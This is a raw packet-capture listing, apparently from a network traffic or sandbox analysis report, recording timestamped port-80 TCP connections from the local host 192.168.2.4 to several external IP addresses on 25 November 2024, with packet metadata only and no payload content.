Nov 25, 2024 09:43:38.838567019 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.838670015 CET	49842	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:38.860346079 CET	49842	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:38.979974031 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980053902 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980106115 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980135918 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980206013 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980235100 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980324030 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980350971 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:38.980385065 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:40.150520086 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:40.197422981 CET	49842	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:40.242661953 CET	80	49842	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:40.242719889 CET	49842	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:40.369609118 CET	49842	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:41.392103910 CET	49848	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:41.971445084 CET	80	49848	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:41.971563101 CET	49848	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:41.982048035 CET	49848	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:42.101620913 CET	80	49848	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:43.245337963 CET	80	49848	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:43.245412111 CET	80	49848	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:43.245518923 CET	49848	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:43.248927116 CET	49848	80	192.168.2.4	212.123.41.108
Nov 25, 2024 09:43:43.368381023 CET	80	49848	212.123.41.108	192.168.2.4
Nov 25, 2024 09:43:48.603462934 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:48.722980022 CET	80	49864	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:48.723113060 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:48.742036104 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:48.861545086 CET	80	49864	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:50.074935913 CET	80	49864	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:50.074956894 CET	80	49864	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:50.075376987 CET	80	49864	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:50.075409889 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:50.078236103 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:50.244404078 CET	49864	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:51.266499043 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:51.386092901 CET	80	49872	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:51.386291027 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:51.404033899 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:51.523561001 CET	80	49872	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:52.763998032 CET	80	49872	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:52.764067888 CET	80	49872	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:52.764122009 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:52.764178991 CET	80	49872	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:52.764231920 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:52.916316986 CET	49872	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:53.938292027 CET	49881	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:54.057921886 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.060302973 CET	49881	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:54.086210012 CET	49881	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:54.206007004 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206018925 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206027031 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206034899 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206051111 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206058979 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206170082 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206178904 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:54.206234932 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:55.395097017 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:55.395175934 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:55.395539999 CET	80	49881	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:55.400152922 CET	49881	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:55.588273048 CET	49881	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:56.608239889 CET	49887	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:56.728051901 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:56.728137016 CET	49887	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:56.739197969 CET	49887	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:56.858819008 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:58.057775021 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:58.057900906 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:58.057910919 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:43:58.058248043 CET	49887	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:58.064143896 CET	49887	80	192.168.2.4	172.67.223.206
Nov 25, 2024 09:43:58.183579922 CET	80	49887	172.67.223.206	192.168.2.4
Nov 25, 2024 09:44:03.659944057 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:03.779546976 CET	80	49903	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:03.782085896 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:03.798336983 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:03.917885065 CET	80	49903	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:05.306993961 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:05.636532068 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:05.809859991 CET	80	49903	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:05.809900045 CET	80	49903	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:05.810168982 CET	49903	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:06.329361916 CET	49909	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:06.449141979 CET	80	49909	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:06.449248075 CET	49909	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:06.495822906 CET	49909	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:06.615406990 CET	80	49909	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:07.719129086 CET	80	49909	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:07.719553947 CET	80	49909	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:07.720300913 CET	49909	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:08.010176897 CET	49909	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:09.033337116 CET	49915	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:09.152915955 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.153060913 CET	49915	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:09.168637991 CET	49915	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:09.288249969 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288343906 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288353920 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288506031 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288521051 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288567066 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288594007 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288786888 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:09.288796902 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:10.340202093 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:10.340396881 CET	80	49915	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:10.340449095 CET	49915	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:10.682249069 CET	49915	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:11.703972101 CET	49923	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:11.823710918 CET	80	49923	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:11.823822021 CET	49923	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:11.833236933 CET	49923	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:11.952725887 CET	80	49923	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:13.150933027 CET	80	49923	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:13.151592016 CET	80	49923	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:13.151658058 CET	49923	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:13.167948961 CET	49923	80	192.168.2.4	172.67.186.192
Nov 25, 2024 09:44:13.287695885 CET	80	49923	172.67.186.192	192.168.2.4
Nov 25, 2024 09:44:18.937064886 CET	49941	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:19.056607962 CET	80	49941	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:19.056684017 CET	49941	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:19.076984882 CET	49941	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:19.196703911 CET	80	49941	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:20.346652031 CET	80	49941	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:20.346684933 CET	80	49941	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:20.346694946 CET	80	49941	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:20.346736908 CET	49941	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:20.588466883 CET	49941	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:21.655926943 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:21.775448084 CET	80	49948	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:21.775717974 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:21.822097063 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:21.941713095 CET	80	49948	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:23.073374987 CET	80	49948	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:23.073443890 CET	80	49948	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:23.073460102 CET	80	49948	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:23.073497057 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:23.073539019 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:23.340230942 CET	49948	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:24.438683987 CET	49954	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:24.558996916 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.559075117 CET	49954	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:24.731765032 CET	49954	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:24.851406097 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.851425886 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.851574898 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.851623058 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.851835966 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.851878881 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.852041960 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.852054119 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:24.852231979 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:25.813674927 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:25.813745975 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:25.813756943 CET	80	49954	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:25.814341068 CET	49954	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:26.260410070 CET	49954	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:27.302259922 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:27.421760082 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:27.426335096 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:27.455677986 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:27.575238943 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762455940 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762536049 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762573004 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762603998 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762634993 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:28.762644053 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:28.762675047 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:28.762695074 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:28.768480062 CET	49961	80	192.168.2.4	161.97.142.144
Nov 25, 2024 09:44:28.888600111 CET	80	49961	161.97.142.144	192.168.2.4
Nov 25, 2024 09:44:34.103215933 CET	49978	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:34.222784042 CET	80	49978	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:34.222898006 CET	49978	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:34.239140987 CET	49978	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:34.358752012 CET	80	49978	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:35.744959116 CET	49978	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:35.864783049 CET	80	49978	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:35.870448112 CET	49978	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:36.764581919 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:36.884249926 CET	80	49986	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:36.884337902 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:36.903022051 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:37.022639990 CET	80	49986	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:38.416552067 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:38.460024118 CET	80	49986	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:38.460078955 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:38.460158110 CET	80	49986	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:38.460215092 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:38.536060095 CET	80	49986	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:38.536108971 CET	49986	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:39.435357094 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:39.555087090 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.555332899 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:39.572726965 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:39.692635059 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692646027 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692718983 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692738056 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692835093 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692882061 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692938089 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.692998886 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:39.693111897 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:41.088356972 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:41.115652084 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:41.115726948 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:41.208204985 CET	80	49993	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:41.208257914 CET	49993	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:42.131573915 CET	49999	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:42.251137972 CET	80	49999	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:42.251358986 CET	49999	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:42.262790918 CET	49999	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:42.382293940 CET	80	49999	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:43.814791918 CET	80	49999	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:43.814838886 CET	80	49999	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:43.815064907 CET	49999	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:43.820281982 CET	49999	80	192.168.2.4	43.199.54.158
Nov 25, 2024 09:44:43.941437006 CET	80	49999	43.199.54.158	192.168.2.4
Nov 25, 2024 09:44:49.235855103 CET	50015	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:49.355447054 CET	80	50015	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:49.355643034 CET	50015	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:49.380299091 CET	50015	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:49.499856949 CET	80	50015	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:50.674333096 CET	80	50015	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:50.674415112 CET	80	50015	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:50.674460888 CET	50015	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:50.885225058 CET	50015	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:51.904280901 CET	50022	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:52.023771048 CET	80	50022	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:52.023936033 CET	50022	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:52.039508104 CET	50022	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:52.159001112 CET	80	50022	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:53.337768078 CET	80	50022	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:53.337846041 CET	80	50022	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:53.340985060 CET	50022	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:53.545459032 CET	50022	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:54.561028004 CET	50030	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:54.680592060 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.680655003 CET	50030	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:54.698921919 CET	50030	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:54.818486929 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818521023 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818608046 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818629026 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818742037 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818753004 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818823099 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818845034 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:54.818948030 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:56.021486998 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:56.021640062 CET	80	50030	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:56.024434090 CET	50030	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:56.214524984 CET	50030	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:57.233242989 CET	50035	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:57.352737904 CET	80	50035	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:57.352843046 CET	50035	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:57.363040924 CET	50035	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:57.482481956 CET	80	50035	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:58.679361105 CET	80	50035	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:58.679430962 CET	80	50035	209.74.77.108	192.168.2.4
Nov 25, 2024 09:44:58.679491043 CET	50035	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:58.682893991 CET	50035	80	192.168.2.4	209.74.77.108
Nov 25, 2024 09:44:58.802417994 CET	80	50035	209.74.77.108	192.168.2.4
Nov 25, 2024 09:45:04.444755077 CET	50044	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:04.564189911 CET	80	50044	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:04.564277887 CET	50044	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:04.581717968 CET	50044	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:04.701195955 CET	80	50044	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:05.813123941 CET	80	50044	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:05.813189983 CET	80	50044	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:05.816414118 CET	50044	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:06.088476896 CET	50044	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:07.108553886 CET	50045	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:07.228725910 CET	80	50045	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:07.228815079 CET	50045	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:07.243805885 CET	50045	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:07.363357067 CET	80	50045	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:08.524236917 CET	80	50045	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:08.524315119 CET	80	50045	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:08.524374008 CET	50045	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:08.760586023 CET	50045	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:09.779345989 CET	50046	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:09.898895025 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:09.899029016 CET	50046	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:09.914906979 CET	50046	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:10.035309076 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.035330057 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.035351992 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.035397053 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.035407066 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.036314964 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.036324024 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.036392927 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:10.036402941 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:11.241317987 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:11.241446972 CET	80	50046	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:11.241502047 CET	50046	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:11.416609049 CET	50046	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:12.436935902 CET	50047	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:12.556468964 CET	80	50047	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:12.556571960 CET	50047	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:12.568989038 CET	50047	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:12.688554049 CET	80	50047	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:13.851711988 CET	80	50047	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:13.851903915 CET	80	50047	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:13.852045059 CET	50047	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:13.856368065 CET	50047	80	192.168.2.4	185.27.134.206
Nov 25, 2024 09:45:13.975778103 CET	80	50047	185.27.134.206	192.168.2.4
Nov 25, 2024 09:45:20.746545076 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:20.866189957 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:20.866293907 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:20.884491920 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:21.004081964 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341161966 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341178894 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341228962 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.341305017 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341316938 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341327906 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341339111 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341351032 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341351986 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.341363907 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341376066 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341388941 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.341391087 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.341408968 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.341454029 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.400981903 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.460918903 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.460974932 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.460988045 CET	80	50048	163.44.185.183	192.168.2.4
